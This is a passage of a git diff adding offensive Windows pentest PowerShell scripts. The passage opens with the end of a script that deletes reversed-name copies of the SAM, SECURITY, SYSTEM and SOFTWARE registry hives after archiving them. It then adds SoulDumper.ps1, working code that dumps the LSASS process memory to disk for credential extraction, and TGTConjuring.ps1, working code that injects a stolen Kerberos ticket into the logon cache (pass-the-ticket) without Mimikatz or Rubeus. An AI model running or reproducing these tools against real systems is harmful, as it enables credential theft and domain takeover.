+Remove-Item "$outputPath\${timestamp}_mas", "$outputPath\${timestamp}_ytiruces", "$outputPath\${timestamp}_metsys", "$outputPath\${timestamp}_erawtfos" -Force
+
+Write-Output "[+] Operation completed. Archive saved at $zipFilePath"
diff --git a/pentest/SoulDumper.ps1 b/pentest/SoulDumper.ps1
@@ -0,0 +1,47 @@
+<#
+    Author: vari.sh
+            elbae
+
+    Description: This script let you dump LSASS process.
+                  Warning: it needs Administrator privileges
+                  Part of the code came from Offsec courses
+    Usage: .\SoulDumper.ps1
+#>
+
+Add-Type -TypeDefinition @"
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace InMemoryMiniDumpWriteDump
+{
+    public class Dumper
+    {
+        [DllImport("Dbghelp.dll")]
+        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
+        
+        [DllImport("kernel32.dll")]
+        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
+
+
+        public static void Dump()
+        {
+            FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);
+            Process[] lsass = Process.GetProcessesByName("lsass");
+            int lsass_pid = lsass[0].Id;
+            IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
+            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
+        }
+    }
+}
+"@
+
+
+# Dumping
+Write-Host "Dumping..."
+[InMemoryMiniDumpWriteDump.Dumper]::Dump()
diff --git a/pentest/TGTConjuring.ps1 b/pentest/TGTConjuring.ps1
@@ -0,0 +1,139 @@
+<#
+    Author: vari.sh
+    Main code taken from https://github.com/vletoux/MakeMeEnterpriseAdmin/
+
+    Description: This script let you import your Kirbi Tickets in your Kerberos Cache without using Rubeus or Mimikatz.
+                  If you have a dc.ccache instead you can use impacket 'python3 ticketConverter.py ticket.ccache ticket.kirbi'.
+    Usage: .\TGTConjuring.ps1 ticket.kirbi
+#>
+
+param (
+    [string]$KirbiFile
+)
+
+if (-not (Test-Path $KirbiFile)) {
+    Write-Host "[!] Error: file $KirbiFile not found!" -ForegroundColor Red
+    exit 1
+}
+
+$ticketBytes = [System.IO.File]::ReadAllBytes($KirbiFile)
+
+Add-Type -TypeDefinition @"
+using System;
+using System.ComponentModel;
+using System.Runtime.InteropServices;
+
+namespace kerberos
+{
+    public class TGTImporter
+    {
+        [DllImport("secur32.dll", SetLastError = false)]
+        private static extern int LsaConnectUntrusted([Out] out IntPtr LsaHandle);
+
+        [DllImport("secur32.dll", SetLastError = false)]
+        private static extern int LsaDeregisterLogonProcess([In] IntPtr LsaHandle);
+
+        [DllImport("secur32.dll", SetLastError = false)]
+        private static extern int LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING PackageName, [Out] out int AuthenticationPackage);
+
+        [DllImport("secur32.dll", SetLastError = false)]
+        private static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, int AuthenticationPackage, IntPtr ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);
+
+
+        [DllImport("advapi32.dll", SetLastError = false)]
+        private static extern int LsaNtStatusToWinError(int StatusCode);
+
+        private enum KERB_PROTOCOL_MESSAGE_TYPE : uint
+        {
+            KerbSubmitTicketMessage = 21,
+        }
+
+        [StructLayout(LayoutKind.Sequential)]
+        private struct LSA_STRING
+        {
+            public UInt16 Length;
+            public UInt16 MaximumLength;
+            public String Buffer;
+        }
+
+        [StructLayout(LayoutKind.Sequential)]
+        private struct KERB_CRYPTO_KEY32
+        {
+            public int KeyType;
+            public int Length;
+            public int Offset;
+        }
+
+        [StructLayout(LayoutKind.Sequential)]
+        private struct LUID {
+            int LowPart;
+            int HighPart;
+        }
+
+        [StructLayout(LayoutKind.Sequential)]
+        private struct KERB_SUBMIT_TKT_REQUEST
+        {
+            public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+            public LUID LogonId;
+            public int Flags;
+            public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
+            public int KerbCredSize;
+            public int KerbCredOffset;
+        }
+
+        public static void ImportTGT(byte[] ticket)
+        {
+            IntPtr LsaHandle = IntPtr.Zero;
+            int AuthenticationPackage;
+            int ntstatus, ProtocalStatus;
+            
+            ntstatus = LsaConnectUntrusted(out LsaHandle);
+            if (ntstatus != 0)
+                throw new Win32Exception(LsaNtStatusToWinError(ntstatus));
+            IntPtr inputBuffer = IntPtr.Zero;
+            IntPtr ProtocolReturnBuffer;
+            int ReturnBufferLength;
+            try
+            {
+                LSA_STRING LSAString;
+                string Name = "kerberos";
+                LSAString.Length = (ushort)Name.Length;
+                LSAString.MaximumLength = (ushort)(Name.Length + 1);
+                LSAString.Buffer = Name;
+
+                ntstatus = LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage);
+                if (ntstatus != 0)
+                    throw new Win32Exception(LsaNtStatusToWinError(ntstatus));
+
+                KERB_SUBMIT_TKT_REQUEST request = new KERB_SUBMIT_TKT_REQUEST();
+                request.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage;
+                request.KerbCredSize = ticket.Length;
+                request.KerbCredOffset = Marshal.SizeOf(typeof(KERB_SUBMIT_TKT_REQUEST));
+            
+                int inputBufferSize = Marshal.SizeOf(typeof(KERB_SUBMIT_TKT_REQUEST)) + ticket.Length;
+                inputBuffer = Marshal.AllocHGlobal(inputBufferSize);
+                Marshal.StructureToPtr(request, inputBuffer, false);
+                Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length);
+
+                ntstatus = LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus);
+                if (ntstatus != 0)
+                    throw new Win32Exception(LsaNtStatusToWinError(ntstatus));
+                if (ProtocalStatus != 0)
+                    throw new Win32Exception(LsaNtStatusToWinError(ProtocalStatus));
+            }
+            finally
+            {
+                if (inputBuffer != IntPtr.Zero)
+                    Marshal.FreeHGlobal(inputBuffer);
+                LsaDeregisterLogonProcess(LsaHandle);
+            }
+        }
+    }
+}
+"@
+
+Write-Host "[*] Importing Kerberos Ticket..."
+[kerberos.TGTImporter]::ImportTGT($ticketBytes)
+
+Write-Host "`n[*] Tickets in Kerberos cache:" -ForegroundColor Cyan
+Start-Process -NoNewWindow -FilePath "klist.exe"